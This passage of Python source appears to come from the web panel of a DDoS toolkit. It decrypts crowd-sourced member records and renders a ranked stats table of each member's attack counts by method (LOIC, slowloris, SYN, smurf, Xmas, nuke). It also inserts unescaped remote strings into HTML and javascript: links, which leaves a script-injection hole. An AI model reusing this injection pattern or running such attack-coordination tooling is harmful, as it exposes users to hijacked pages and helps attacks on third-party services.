  3964. except:
  3965. grid_key = ""
  3966. end_mark = "[Info] [AI] End of decryption."
  3967. if grid_key is not "": # grid decryption
  3968. # Mothership stats counters
  3969. mothership_members = 0
  3970. member_1 = 0 # Rookie
  3971. member_2 = 0 # Mercenary
  3972. member_3 = 0 # Bandit
  3973. member_4 = 0 # UFOmmander!
  3974. member_5 = 0 # UFOl33t!
  3975. mothership_missions = 0
  3976. mothership_transferred = 0
  3977. mothership_attacks = 0
  3978. mothership_loic = 0
  3979. mothership_loris = 0
  3980. mothership_ufosyn = 0
  3981. mothership_spray = 0
  3982. mothership_smurf = 0
  3983. mothership_xmas = 0
  3984. mothership_nuke = 0
  3985. mothership_chargo = 0
  3986. mothership_dorking = 0
  3987. mothership_maxchargo = 0
  3988. nodec_text = "KEY?"
  3989. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_nickname' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nickname','"+str(grid_key)+"')>NICKNAME:</a></td><td align='center'><a id='filter_ranking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ranking','"+str(grid_key)+"')>RANKING:</a></td><td align='center'><a id='filter_chargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('chargo','"+str(grid_key)+"')>CHARGO:</a></td><td align='center'><a id='filter_dorking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('dorking','"+str(grid_key)+"')>DORKING:</a></td><td align='center'><a id='filter_transf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('transferred','"+str(grid_key)+"')>TRANSF:</a></td><td align='center'><a id='filter_maxchargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('maxchargo','"+str(grid_key)+"')>MAX.CHARGO:</a></td><td align='center'><a id='filter_missions' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('missions','"+str(grid_key)+"')>MISSIONS:</a></td><td align='center'><a id='filter_attacks' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('attacks','"+str(grid_key)+"')>ATTACKS:</a></td><td align='center'><a id='filter_loic' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loic','"+str(grid_key)+"')>LOIC:</a></td><td align='center'><a id='filter_loris' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loris','"+str(grid_key)+"')>LORIS:</a></td><td align='center'><a id='filter_ufosyn' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufosyn','"+str(grid_key)+"')>UFOSYN:</a></td><td align='center'><a id='filter_spray' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('spray','"+str(grid_key)+"')>SPRAY:</a></td><td align='center'><a id='filter_smurf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('smurf','"+str(grid_key)+"')>SMURF:</a></td><td align='center'><a id='filter_xmas' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('xmas','"+str(grid_key)+"')>XMAS:</a></td><td align='center'><a id='filter_nuke' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nuke','"+str(grid_key)+"')>NUKE:</a></td><td align='center'><a id='filter_contact' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('contact','"+str(grid_key)+"')>CONTACT:</a></td></tr>"
  3990. grid_key = pGet["grid_key"]
  3991. f = open("/tmp/out", "w")
  3992. self.list_grid_rev = reversed(self.list_grid) # order by DESC
  3993. for m in self.list_grid_rev: # rev(msg) = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, contact, ID
  3994. if grid_msg_sep in m:
  3995. version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2|14->1.2.1)
  3996. m = m.split(grid_msg_sep)
  3997. grid_nickname = m[0] # nickname
  3998. self.decrypt(grid_key, grid_nickname)
  3999. if self.decryptedtext:
  4000. grid_nickname = self.decryptedtext
  4001. else:
  4002. grid_nickname = nodec_text
  4003. self.decryptedtext = "" # clean decryptedtext buffer
  4004. if len(grid_nickname) > 12 or len(grid_nickname) < 3: # m[0] = grid_nickname (>str3<str12)
  4005. grid_nickname = "Anonymous"
  4006. else:
  4007. grid_nickname = str(grid_nickname) # nickname
  4008. mothership_members = mothership_members + 1 # add new registered member to mothership stats
  4009. grid_ranking = m[1] # ranking
  4010. self.decrypt(grid_key, grid_ranking)
  4011. if self.decryptedtext:
  4012. try:
  4013. grid_ranking = int(self.decryptedtext)
  4014. except:
  4015. grid_ranking = nodec_text
  4016. else:
  4017. grid_ranking = nodec_text
  4018. self.decryptedtext = "" # clean decryptedtext buffer
  4019. if grid_ranking == 1: #Rookie
  4020. grid_ranking = "<font color='white' size='4'>*</font>"
  4021. member_1 = member_1 + 1
  4022. elif grid_ranking == 2: # Mercenary
  4023. grid_ranking = "<font color='cyan' size='4'>**</font>"
  4024. member_2 = member_2 + 1
  4025. elif grid_ranking == 3: # Bandit
  4026. grid_ranking = "<font color='blueviolet' size='4'>***</font>"
  4027. member_3 = member_3 + 1
  4028. elif grid_ranking == 4: # UFOmmander!
  4029. grid_ranking = "<font color='blue' size='4'>****</font>"
  4030. member_4 = member_4 + 1
  4031. elif grid_ranking == 5: # UFOl33t!
  4032. grid_ranking = "<font color='red' size='4'>&#x25BC;</font>"
  4033. member_5 = member_5 + 1
  4034. else:
  4035. grid_ranking = nodec_text
  4036. grid_totalchargo = m[2] # total chargo
  4037. self.decrypt(grid_key, grid_totalchargo)
  4038. if self.decryptedtext:
  4039. grid_totalchargo = self.decryptedtext
  4040. else:
  4041. grid_totalchargo = nodec_text
  4042. self.decryptedtext = "" # clean decryptedtext buffer
  4043. try: # parse for int
  4044. grid_totalchargo = int(grid_totalchargo)
  4045. mothership_chargo = mothership_chargo + grid_totalchargo
  4046. except:
  4047. grid_totalchargo = nodec_text
  4048. grid_dorking = m[3] # dorking
  4049. self.decrypt(grid_key, grid_dorking)
  4050. if self.decryptedtext:
  4051. grid_dorking = self.decryptedtext
  4052. else:
  4053. grid_dorking = nodec_text
  4054. self.decryptedtext = "" # clean decryptedtext buffer
  4055. try: # parse for int
  4056. grid_dorking = int(grid_dorking)
  4057. mothership_dorking = mothership_dorking + grid_dorking
  4058. except:
  4059. grid_dorking = nodec_text
  4060. grid_transferred = m[4] # transferred
  4061. self.decrypt(grid_key, grid_transferred)
  4062. if self.decryptedtext:
  4063. grid_transferred = self.decryptedtext
  4064. else:
  4065. grid_transferred = nodec_text
  4066. self.decryptedtext = "" # clean decryptedtext buffer
  4067. try: # parse for int
  4068. grid_transferred = int(grid_transferred)
  4069. mothership_transferred = mothership_transferred + grid_transferred
  4070. except:
  4071. grid_transferred = nodec_text
  4072. grid_maxchargo = m[5] # maxchargo
  4073. self.decrypt(grid_key, grid_maxchargo)
  4074. if self.decryptedtext:
  4075. grid_maxchargo = self.decryptedtext
  4076. else:
  4077. grid_maxchargo = nodec_text
  4078. self.decryptedtext = "" # clean decryptedtext buffer
  4079. try: # parse for int
  4080. grid_maxchargo = int(grid_maxchargo)
  4081. mothership_maxchargo = mothership_maxchargo + grid_maxchargo
  4082. except:
  4083. grid_maxchargo = nodec_text
  4084. grid_missions = m[6] # missions
  4085. self.decrypt(grid_key, grid_missions)
  4086. if self.decryptedtext:
  4087. grid_missions = self.decryptedtext
  4088. else:
  4089. grid_missions = nodec_text
  4090. self.decryptedtext = "" # clean decryptedtext buffer
  4091. try: # parse for int
  4092. grid_missions = int(grid_missions)
  4093. mothership_missions = mothership_missions + grid_missions
  4094. except:
  4095. grid_missions = nodec_text
  4096. grid_attacks = m[7] # attacks
  4097. self.decrypt(grid_key, grid_attacks)
  4098. if self.decryptedtext:
  4099. grid_attacks = self.decryptedtext
  4100. else:
  4101. grid_attacks = nodec_text
  4102. self.decryptedtext = "" # clean decryptedtext buffer
  4103. try: # parse for int
  4104. grid_attacks = int(grid_attacks)
  4105. mothership_attacks = mothership_attacks + grid_attacks
  4106. except:
  4107. grid_attacks = nodec_text
  4108. grid_loic = m[8] # loic
  4109. self.decrypt(grid_key, grid_loic)
  4110. if self.decryptedtext:
  4111. grid_loic = self.decryptedtext
  4112. else:
  4113. grid_loic = nodec_text
  4114. self.decryptedtext = "" # clean decryptedtext buffer
  4115. try: # parse for int
  4116. grid_loic = int(grid_loic)
  4117. mothership_loic = mothership_loic + grid_loic
  4118. except:
  4119. grid_loic = nodec_text
  4120. if version > 15: # v1.2.1
  4121. grid_loris = m[9] # loris
  4122. self.decrypt(grid_key, grid_loris)
  4123. if self.decryptedtext:
  4124. grid_loris = self.decryptedtext
  4125. else:
  4126. grid_loris = nodec_text
  4127. self.decryptedtext = "" # clean decryptedtext buffer
  4128. try: # parse for int
  4129. grid_loris = int(grid_loris)
  4130. mothership_loris = mothership_loris + grid_loris
  4131. except:
  4132. grid_loris = nodec_text
  4133. grid_ufosyn = m[10] # ufosyn
  4134. self.decrypt(grid_key, grid_ufosyn)
  4135. if self.decryptedtext:
  4136. grid_ufosyn = self.decryptedtext
  4137. else:
  4138. grid_ufosyn = nodec_text
  4139. self.decryptedtext = "" # clean decryptedtext buffer
  4140. try: # parse for int
  4141. grid_ufosyn = int(grid_ufosyn)
  4142. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  4143. except:
  4144. grid_ufosyn = nodec_text
  4145. grid_spray = m[11] # spray
  4146. self.decrypt(grid_key, grid_spray)
  4147. if self.decryptedtext:
  4148. grid_spray = self.decryptedtext
  4149. else:
  4150. grid_spray = nodec_text
  4151. self.decryptedtext = "" # clean decryptedtext buffer
  4152. try: # parse for int
  4153. grid_spray = int(grid_spray)
  4154. mothership_spray = mothership_spray + grid_spray
  4155. except:
  4156. grid_spray = nodec_text
  4157. grid_smurf = m[12] # smurf
  4158. self.decrypt(grid_key, grid_smurf)
  4159. if self.decryptedtext:
  4160. grid_smurf = self.decryptedtext
  4161. else:
  4162. grid_smurf = nodec_text
  4163. self.decryptedtext = "" # clean decryptedtext buffer
  4164. try: # parse for int
  4165. grid_smurf = int(grid_smurf)
  4166. mothership_smurf = mothership_smurf + grid_smurf
  4167. except:
  4168. grid_smurf = nodec_text
  4169. grid_xmas = m[13] # xmas
  4170. self.decrypt(grid_key, grid_xmas)
  4171. if self.decryptedtext:
  4172. grid_xmas = self.decryptedtext
  4173. else:
  4174. grid_xmas = nodec_text
  4175. self.decryptedtext = "" # clean decryptedtext buffer
  4176. try: # parse for int
  4177. grid_xmas = int(grid_xmas)
  4178. mothership_xmas = mothership_xmas + grid_xmas
  4179. except:
  4180. grid_xmas = nodec_text
  4181. grid_nuke = m[14] # nuke
  4182. self.decrypt(grid_key, grid_nuke)
  4183. if self.decryptedtext:
  4184. grid_nuke = self.decryptedtext
  4185. else:
  4186. grid_nuke = nodec_text
  4187. self.decryptedtext = "" # clean decryptedtext buffer
  4188. try: # parse for int
  4189. grid_nuke = int(grid_nuke)
  4190. mothership_nuke = mothership_nuke + grid_nuke
  4191. except:
  4192. grid_nuke = nodec_text
  4193. try: # decrypt + parse contact len + correct js view (without blank spaces)
  4194. grid_contact = m[15] # contact
  4195. self.decrypt(grid_key, grid_contact)
  4196. if self.decryptedtext:
  4197. grid_contact = self.decryptedtext
  4198. else:
  4199. grid_contact = nodec_text
  4200. self.decryptedtext = "" # clean decryptedtext buffer
  4201. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[15] = grid_contact (>str3<str120)
  4202. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4203. else:
  4204. try:
  4205. if " " in grid_contact: # m[15] = grid_contact
  4206. grid_contact = grid_contact.replace(" ","")
  4207. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4208. except:
  4209. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4210. except:
  4211. pass
  4212. try:
  4213. grid_id = m[16] # id
  4214. except:
  4215. pass
  4216. elif version == 15: # v1.2
  4217. grid_loris = m[9] # loris
  4218. self.decrypt(grid_key, grid_loris)
  4219. if self.decryptedtext:
  4220. grid_loris = self.decryptedtext
  4221. else:
  4222. grid_loris = nodec_text
  4223. self.decryptedtext = "" # clean decryptedtext buffer
  4224. try: # parse for int
  4225. grid_loris = int(grid_loris)
  4226. mothership_loris = mothership_loris + grid_loris
  4227. except:
  4228. grid_loris = nodec_text
  4229. grid_ufosyn = m[10] # ufosyn
  4230. self.decrypt(grid_key, grid_ufosyn)
  4231. if self.decryptedtext:
  4232. grid_ufosyn = self.decryptedtext
  4233. else:
  4234. grid_ufosyn = nodec_text
  4235. self.decryptedtext = "" # clean decryptedtext buffer
  4236. try: # parse for int
  4237. grid_ufosyn = int(grid_ufosyn)
  4238. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  4239. except:
  4240. grid_ufosyn = nodec_text
  4241. grid_spray = m[11] # spray
  4242. self.decrypt(grid_key, grid_spray)
  4243. if self.decryptedtext:
  4244. grid_spray = self.decryptedtext
  4245. else:
  4246. grid_spray = nodec_text
  4247. self.decryptedtext = "" # clean decryptedtext buffer
  4248. try: # parse for int
  4249. grid_spray = int(grid_spray)
  4250. mothership_spray = mothership_spray + grid_spray
  4251. except:
  4252. grid_spray = nodec_text
  4253. grid_smurf = m[12] # smurf
  4254. self.decrypt(grid_key, grid_smurf)
  4255. if self.decryptedtext:
  4256. grid_smurf = self.decryptedtext
  4257. else:
  4258. grid_smurf = nodec_text
  4259. self.decryptedtext = "" # clean decryptedtext buffer
  4260. try: # parse for int
  4261. grid_smurf = int(grid_smurf)
  4262. mothership_smurf = mothership_smurf + grid_smurf
  4263. except:
  4264. grid_smurf = nodec_text
  4265. grid_xmas = m[13] # xmas
  4266. self.decrypt(grid_key, grid_xmas)
  4267. if self.decryptedtext:
  4268. grid_xmas = self.decryptedtext
  4269. else:
  4270. grid_xmas = nodec_text
  4271. self.decryptedtext = "" # clean decryptedtext buffer
  4272. try: # parse for int
  4273. grid_xmas = int(grid_xmas)
  4274. mothership_xmas = mothership_xmas + grid_xmas
  4275. except:
  4276. grid_xmas = nodec_text
  4277. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  4278. self.decrypt(grid_key, grid_nuke)
  4279. if self.decryptedtext:
  4280. grid_nuke = self.decryptedtext
  4281. else:
  4282. grid_nuke = nodec_text
  4283. self.decryptedtext = "" # clean decryptedtext buffer
  4284. try: # parse for int
  4285. grid_nuke = int(grid_nuke)
  4286. mothership_nuke = mothership_nuke + grid_nuke
  4287. except:
  4288. grid_nuke = nodec_text
  4289. try: # decrypt + parse contact len + correct js view (without blank spaces)
  4290. grid_contact = m[14] # contact
  4291. self.decrypt(grid_key, grid_contact)
  4292. if self.decryptedtext:
  4293. grid_contact = self.decryptedtext
  4294. else:
  4295. grid_contact = nodec_text
  4296. self.decryptedtext = "" # clean decryptedtext buffer
  4297. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[14] = grid_contact (>str3<str120)
  4298. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4299. else:
  4300. try:
  4301. if " " in grid_contact: # m[14] = grid_contact
  4302. grid_contact = grid_contact.replace(" ","")
  4303. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4304. except:
  4305. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4306. except:
  4307. pass
  4308. try:
  4309. grid_id = m[15] # id
  4310. except:
  4311. pass
  4312. elif version == 12: # v1.1
  4313. grid_loris = m[9] # loris
  4314. self.decrypt(grid_key, grid_loris)
  4315. if self.decryptedtext:
  4316. grid_loris = self.decryptedtext
  4317. else:
  4318. grid_loris = nodec_text
  4319. self.decryptedtext = "" # clean decryptedtext buffer
  4320. try: # parse for int
  4321. grid_loris = int(grid_loris)
  4322. mothership_loris = mothership_loris + grid_loris
  4323. except:
  4324. grid_loris = nodec_text
  4325. grid_ufosyn = m[10] # ufosyn
  4326. self.decrypt(grid_key, grid_ufosyn)
  4327. if self.decryptedtext:
  4328. grid_ufosyn = self.decryptedtext
  4329. else:
  4330. grid_ufosyn = nodec_text
  4331. self.decryptedtext = "" # clean decryptedtext buffer
  4332. try: # parse for int
  4333. grid_ufosyn = int(grid_ufosyn)
  4334. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  4335. except:
  4336. grid_ufosyn = nodec_text
  4337. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  4338. self.decrypt(grid_key, grid_spray)
  4339. if self.decryptedtext:
  4340. grid_spray = self.decryptedtext
  4341. else:
  4342. grid_spray = nodec_text
  4343. self.decryptedtext = "" # clean decryptedtext buffer
  4344. try: # parse for int
  4345. grid_spray = int(grid_spray)
  4346. mothership_spray = mothership_spray + grid_spray
  4347. except:
  4348. grid_spray = nodec_text
  4349. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  4350. self.decrypt(grid_key, grid_smurf)
  4351. if self.decryptedtext:
  4352. grid_smurf = self.decryptedtext
  4353. else:
  4354. grid_smurf = nodec_text
  4355. self.decryptedtext = "" # clean decryptedtext buffer
  4356. try: # parse for int
  4357. grid_smurf = int(grid_smurf)
  4358. mothership_smurf = mothership_smurf + grid_smurf
  4359. except:
  4360. grid_smurf = nodec_text
  4361. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  4362. self.decrypt(grid_key, grid_xmas)
  4363. if self.decryptedtext:
  4364. grid_xmas = self.decryptedtext
  4365. else:
  4366. grid_xmas = nodec_text
  4367. self.decryptedtext = "" # clean decryptedtext buffer
  4368. try: # parse for int
  4369. grid_xmas = int(grid_xmas)
  4370. mothership_xmas = mothership_xmas + grid_xmas
  4371. except:
  4372. grid_xmas = nodec_text
  4373. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  4374. self.decrypt(grid_key, grid_nuke)
  4375. if self.decryptedtext:
  4376. grid_nuke = self.decryptedtext
  4377. else:
  4378. grid_nuke = nodec_text
  4379. self.decryptedtext = "" # clean decryptedtext buffer
  4380. try: # parse for int
  4381. grid_nuke = int(grid_nuke)
  4382. mothership_nuke = mothership_nuke + grid_nuke
  4383. except:
  4384. grid_nuke = nodec_text
  4385. try: # decrypt + parse contact len + correct js view (without blank spaces)
  4386. grid_contact = m[11] # contact
  4387. self.decrypt(grid_key, grid_contact)
  4388. if self.decryptedtext:
  4389. grid_contact = self.decryptedtext
  4390. else:
  4391. grid_contact = nodec_text
  4392. self.decryptedtext = "" # clean decryptedtext buffer
  4393. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[11] = grid_contact (>str3<str120)
  4394. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4395. else:
  4396. try:
  4397. if " " in grid_contact: # m[11] = grid_contact
  4398. grid_contact = grid_contact.replace(" ","")
  4399. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4400. except:
  4401. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4402. except:
  4403. pass
  4404. try:
  4405. grid_id = m[12] # id
  4406. except:
  4407. pass
  4408. elif version == 11: # v1.0
  4409. grid_loris = m[9] # loris
  4410. self.decrypt(grid_key, grid_loris)
  4411. if self.decryptedtext:
  4412. grid_loris = self.decryptedtext
  4413. else:
  4414. grid_loris = nodec_text
  4415. self.decryptedtext = "" # clean decryptedtext buffer
  4416. try: # parse for int
  4417. grid_loris = int(grid_loris)
  4418. mothership_loris = mothership_loris + grid_loris
  4419. except:
  4420. grid_loris = nodec_text
  4421. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  4422. self.decrypt(grid_key, grid_ufosyn)
  4423. if self.decryptedtext:
  4424. grid_ufosyn = self.decryptedtext
  4425. else:
  4426. grid_ufosyn = nodec_text
  4427. self.decryptedtext = "" # clean decryptedtext buffer
  4428. try: # parse for int
  4429. grid_ufosyn = int(grid_ufosyn)
  4430. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  4431. except:
  4432. grid_ufosyn = nodec_text
  4433. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  4434. self.decrypt(grid_key, grid_spray)
  4435. if self.decryptedtext:
  4436. grid_spray = self.decryptedtext
  4437. else:
  4438. grid_spray = nodec_text
  4439. self.decryptedtext = "" # clean decryptedtext buffer
  4440. try: # parse for int
  4441. grid_spray = int(grid_spray)
  4442. mothership_spray = mothership_spray + grid_spray
  4443. except:
  4444. grid_spray = nodec_text
  4445. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  4446. self.decrypt(grid_key, grid_smurf)
  4447. if self.decryptedtext:
  4448. grid_smurf = self.decryptedtext
  4449. else:
  4450. grid_smurf = nodec_text
  4451. self.decryptedtext = "" # clean decryptedtext buffer
  4452. try: # parse for int
  4453. grid_smurf = int(grid_smurf)
  4454. mothership_smurf = mothership_smurf + grid_smurf
  4455. except:
  4456. grid_smurf = nodec_text
  4457. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  4458. self.decrypt(grid_key, grid_xmas)
  4459. if self.decryptedtext:
  4460. grid_xmas = self.decryptedtext
  4461. else:
  4462. grid_xmas = nodec_text
  4463. self.decryptedtext = "" # clean decryptedtext buffer
  4464. try: # parse for int
  4465. grid_xmas = int(grid_xmas)
  4466. mothership_xmas = mothership_xmas + grid_xmas
  4467. except:
  4468. grid_xmas = nodec_text
  4469. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  4470. self.decrypt(grid_key, grid_nuke)
  4471. if self.decryptedtext:
  4472. grid_nuke = self.decryptedtext
  4473. else:
  4474. grid_nuke = nodec_text
  4475. self.decryptedtext = "" # clean decryptedtext buffer
  4476. try: # parse for int
  4477. grid_nuke = int(grid_nuke)
  4478. mothership_nuke = mothership_nuke + grid_nuke
  4479. except:
  4480. grid_nuke = nodec_text
  4481. try: # decrypt + parse contact len + correct js view (without blank spaces)
  4482. grid_contact = m[10] # contact
  4483. self.decrypt(grid_key, grid_contact)
  4484. if self.decryptedtext:
  4485. grid_contact = self.decryptedtext
  4486. else:
  4487. grid_contact = nodec_text
  4488. self.decryptedtext = "" # clean decryptedtext buffer
  4489. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[10] = grid_contact (>str3<str120)
  4490. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4491. else:
  4492. try:
  4493. if " " in grid_contact: # m[10] = grid_contact
  4494. grid_contact = grid_contact.replace(" ","")
  4495. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4496. except:
  4497. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4498. except:
  4499. pass
  4500. try:
  4501. grid_id = m[11] # id
  4502. except:
  4503. pass
  4504. elif version == 10: # v0.9
  4505. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  4506. self.decrypt(grid_key, grid_loris)
  4507. if self.decryptedtext:
  4508. grid_loris = self.decryptedtext
  4509. else:
  4510. grid_loris = nodec_text
  4511. self.decryptedtext = "" # clean decryptedtext buffer
  4512. try: # parse for int
  4513. grid_loris = int(grid_loris)
  4514. mothership_loris = mothership_loris + grid_loris
  4515. except:
  4516. grid_loris = nodec_text
  4517. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  4518. self.decrypt(grid_key, grid_ufosyn)
  4519. if self.decryptedtext:
  4520. grid_ufosyn = self.decryptedtext
  4521. else:
  4522. grid_ufosyn = nodec_text
  4523. self.decryptedtext = "" # clean decryptedtext buffer
  4524. try: # parse for int
  4525. grid_ufosyn = int(grid_ufosyn)
  4526. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  4527. except:
  4528. grid_ufosyn = nodec_text
  4529. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  4530. self.decrypt(grid_key, grid_spray)
  4531. if self.decryptedtext:
  4532. grid_spray = self.decryptedtext
  4533. else:
  4534. grid_spray = nodec_text
  4535. self.decryptedtext = "" # clean decryptedtext buffer
  4536. try: # parse for int
  4537. grid_spray = int(grid_spray)
  4538. mothership_spray = mothership_spray + grid_spray
  4539. except:
  4540. grid_spray = nodec_text
  4541. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  4542. self.decrypt(grid_key, grid_smurf)
  4543. if self.decryptedtext:
  4544. grid_smurf = self.decryptedtext
  4545. else:
  4546. grid_smurf = nodec_text
  4547. self.decryptedtext = "" # clean decryptedtext buffer
  4548. try: # parse for int
  4549. grid_smurf = int(grid_smurf)
  4550. mothership_smurf = mothership_smurf + grid_smurf
  4551. except:
  4552. grid_smurf = nodec_text
  4553. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  4554. self.decrypt(grid_key, grid_xmas)
  4555. if self.decryptedtext:
  4556. grid_xmas = self.decryptedtext
  4557. else:
  4558. grid_xmas = nodec_text
  4559. self.decryptedtext = "" # clean decryptedtext buffer
  4560. try: # parse for int
  4561. grid_xmas = int(grid_xmas)
  4562. mothership_xmas = mothership_xmas + grid_xmas
  4563. except:
  4564. grid_xmas = nodec_text
  4565. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  4566. self.decrypt(grid_key, grid_nuke)
  4567. if self.decryptedtext:
  4568. grid_nuke = self.decryptedtext
  4569. else:
  4570. grid_nuke = nodec_text
  4571. self.decryptedtext = "" # clean decryptedtext buffer
  4572. try: # parse for int
  4573. grid_nuke = int(grid_nuke)
  4574. mothership_nuke = mothership_nuke + grid_nuke
  4575. except:
  4576. grid_nuke = nodec_text
  4577. try: # decrypt + parse contact len + correct js view (without blank spaces)
  4578. grid_contact = m[9] # contact
  4579. self.decrypt(grid_key, grid_contact)
  4580. if self.decryptedtext:
  4581. grid_contact = self.decryptedtext
  4582. else:
  4583. grid_contact = nodec_text
  4584. self.decryptedtext = "" # clean decryptedtext buffer
  4585. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[9] = grid_contact (>str3<str120)
  4586. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4587. else:
  4588. try:
  4589. if " " in grid_contact: # m[9] = grid_contact
  4590. grid_contact = grid_contact.replace(" ","")
  4591. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4592. except:
  4593. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4594. except:
  4595. pass
  4596. try:
  4597. grid_id = m[10] # id
  4598. except:
  4599. pass
  4600. else: # no valid version
  4601. pass
  4602. try: # parsing for valid stream struct
  4603. grid_nickname = str(grid_nickname)
  4604. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  4605. except:
  4606. grid_table += "<tr><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td></tr>"
  4607. grid_table += "</table><br>"
  4608. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
